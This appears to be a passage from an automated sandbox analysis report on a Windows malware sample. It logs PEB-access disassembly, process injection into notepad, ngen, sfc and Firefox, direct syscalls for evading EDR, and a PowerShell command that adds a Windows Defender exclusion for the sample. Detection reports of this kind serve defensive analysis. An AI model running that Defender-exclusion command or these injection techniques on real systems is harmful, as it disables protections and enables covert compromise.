Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov ecx, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741070 mov eax, dword ptr fs:[00000030h] 5_2_05741070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575C073 mov eax, dword ptr fs:[00000030h] 5_2_0575C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AD070 mov ecx, dword ptr fs:[00000030h] 5_2_057AD070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B106E mov eax, dword ptr fs:[00000030h] 5_2_057B106E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05732050 mov eax, dword ptr fs:[00000030h] 5_2_05732050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057D705E mov ebx, dword ptr fs:[00000030h] 5_2_057D705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057D705E mov eax, dword ptr fs:[00000030h] 5_2_057D705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575B052 mov eax, dword ptr fs:[00000030h] 5_2_0575B052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F903E mov eax, dword ptr fs:[00000030h] 5_2_057F903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F903E mov eax, dword ptr fs:[00000030h] 5_2_057F903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F903E mov eax, dword ptr fs:[00000030h] 5_2_057F903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F903E mov eax, dword ptr fs:[00000030h] 5_2_057F903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572A020 mov eax, dword ptr fs:[00000030h] 5_2_0572A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572C020 mov eax, dword ptr fs:[00000030h] 5_2_0572C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058050D9 mov eax, dword ptr fs:[00000030h] 5_2_058050D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574E016 mov eax, dword ptr fs:[00000030h] 5_2_0574E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574E016 mov eax, dword ptr fs:[00000030h] 5_2_0574E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574E016 mov eax, dword ptr fs:[00000030h] 5_2_0574E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574E016 mov eax, dword ptr fs:[00000030h] 5_2_0574E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572C0F0 mov eax, dword ptr fs:[00000030h] 5_2_0572C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057720F0 mov ecx, dword ptr fs:[00000030h] 5_2_057720F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057550E4 mov eax, dword ptr fs:[00000030h] 5_2_057550E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057550E4 mov ecx, dword ptr fs:[00000030h] 5_2_057550E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572A0E3 mov ecx, dword ptr fs:[00000030h] 5_2_0572A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057380E9 mov eax, dword ptr fs:[00000030h] 5_2_057380E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B20DE mov eax, dword ptr fs:[00000030h] 5_2_057B20DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057590DB mov eax, dword ptr fs:[00000030h] 5_2_057590DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov ecx, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov ecx, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov ecx, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov ecx, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 mov eax, dword ptr fs:[00000030h] 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AD0C0 mov eax, dword ptr fs:[00000030h] 5_2_057AD0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AD0C0 mov eax, dword ptr fs:[00000030h] 5_2_057AD0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F60B8 mov eax, dword ptr fs:[00000030h] 5_2_057F60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F60B8 mov ecx, dword ptr fs:[00000030h] 5_2_057F60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05805060 mov eax, dword ptr fs:[00000030h] 5_2_05805060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05735096 mov eax, dword ptr fs:[00000030h] 5_2_05735096
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575D090 mov eax, dword ptr fs:[00000030h] 5_2_0575D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575D090 mov eax, dword ptr fs:[00000030h] 5_2_0575D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576909C mov eax, dword ptr fs:[00000030h] 5_2_0576909C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573208A mov eax, dword ptr fs:[00000030h] 5_2_0573208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572D08D mov eax, dword ptr fs:[00000030h] 5_2_0572D08D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057D437C mov eax, dword ptr fs:[00000030h] 5_2_057D437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05737370 mov eax, dword ptr fs:[00000030h] 5_2_05737370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05737370 mov eax, dword ptr fs:[00000030h] 5_2_05737370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05737370 mov eax, dword ptr fs:[00000030h] 5_2_05737370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EF367 mov eax, dword ptr fs:[00000030h] 5_2_057EF367
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0580539D mov eax, dword ptr fs:[00000030h] 5_2_0580539D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05729353 mov eax, dword ptr fs:[00000030h] 5_2_05729353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05729353 mov eax, dword ptr fs:[00000030h] 5_2_05729353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B035C mov eax, dword ptr fs:[00000030h] 5_2_057B035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B035C mov eax, dword ptr fs:[00000030h] 5_2_057B035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B035C mov eax, dword ptr fs:[00000030h] 5_2_057B035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B035C mov ecx, dword ptr fs:[00000030h] 5_2_057B035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B035C mov eax, dword ptr fs:[00000030h] 5_2_057B035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B035C mov eax, dword ptr fs:[00000030h] 5_2_057B035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FA352 mov eax, dword ptr fs:[00000030h] 5_2_057FA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B2349 mov eax, dword ptr fs:[00000030h] 5_2_057B2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B2349 mov eax, dword ptr fs:[00000030h] 5_2_057B2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B2349 mov eax, dword ptr fs:[00000030h] 5_2_057B2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B2349 mov eax, dword ptr fs:[00000030h] 5_2_057B2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B2349 mov eax, dword ptr fs:[00000030h] 5_2_057B2349
Enables debug privileges
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: NdYuOgHbM9.exe, --------.cs Reference to suspicious API methods: ((_FDEE_FBD2)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary(_0619(_0670_FDFE_0603_06FE._FBB4)), _0619(_0670_FDFE_0603_06FE._FBCA_064D)), typeof(_FDEE_FBD2)))("626949", out var _)
Source: NdYuOgHbM9.exe, --------.cs Reference to suspicious API methods: ((_FDEE_FBD2)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary(_0619(_0670_FDFE_0603_06FE._FBB4)), _0619(_0670_FDFE_0603_06FE._FBCA_064D)), typeof(_FDEE_FBD2)))("626949", out var _)
Source: NdYuOgHbM9.exe, --------.cs Reference to suspicious API methods: VirtualProtect(procAddress, (uint)array.Length, 64u, out var _061A_FDE2_FBC8)
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NdYuOgHbM9.exe" -Force
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NdYuOgHbM9.exe" -Force Jump to behavior
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory allocated: C:\Windows\System32\notepad.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 protect: page execute and read and write Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtWriteVirtualMemory: Direct from: 0x76F0490C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtAllocateVirtualMemory: Direct from: 0x76F03C9C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtReadVirtualMemory: Direct from: 0x76F02E8C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtCreateKey: Direct from: 0x76F02C6C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtSetInformationThread: Direct from: 0x76F02B4C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtQueryAttributesFile: Direct from: 0x76F02E6C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtAllocateVirtualMemory: Direct from: 0x76F048EC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtQuerySystemInformation: Direct from: 0x76F048CC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtQueryVolumeInformationFile: Direct from: 0x76F02F2C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtOpenSection: Direct from: 0x76F02E0C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtSetInformationThread: Direct from: 0x76EF63F9 Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtDeviceIoControlFile: Direct from: 0x76F02AEC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtAllocateVirtualMemory: Direct from: 0x76F02BEC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtCreateFile: Direct from: 0x76F02FEC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtOpenFile: Direct from: 0x76F02DCC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtQueryInformationToken: Direct from: 0x76F02CAC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtTerminateThread: Direct from: 0x76F02FCC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtProtectVirtualMemory: Direct from: 0x76EF7B2E Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtOpenKeyEx: Direct from: 0x76F02B9C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtProtectVirtualMemory: Direct from: 0x76F02F9C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtSetInformationProcess: Direct from: 0x76F02C5C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtNotifyChangeKey: Direct from: 0x76F03C2C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtCreateMutant: Direct from: 0x76F035CC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtWriteVirtualMemory: Direct from: 0x76F02E3C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtMapViewOfSection: Direct from: 0x76F02D1C Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtResumeThread: Direct from: 0x76F036AC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtAllocateVirtualMemory: Direct from: 0x76F02BFC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtReadFile: Direct from: 0x76F02ADC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtQuerySystemInformation: Direct from: 0x76F02DFC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtDelayExecution: Direct from: 0x76F02DDC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtQueryInformationProcess: Direct from: 0x76F02C26 Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtResumeThread: Direct from: 0x76F02FBC Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe NtCreateUserProcess: Direct from: 0x76F0371C Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory written: C:\Windows\System32\notepad.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Section loaded: NULL target: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Section loaded: NULL target: C:\Windows\SysWOW64\sfc.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: NULL target: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: NULL target: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\sfc.exe Thread register set: target process: 7956 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\sfc.exe Thread APC queued: target process: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory written: C:\Windows\System32\notepad.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory written: C:\Windows\System32\notepad.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 4F36008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NdYuOgHbM9.exe" -Force Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\notepad.exe "C:\Windows\System32\notepad.exe" Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe" Jump to behavior
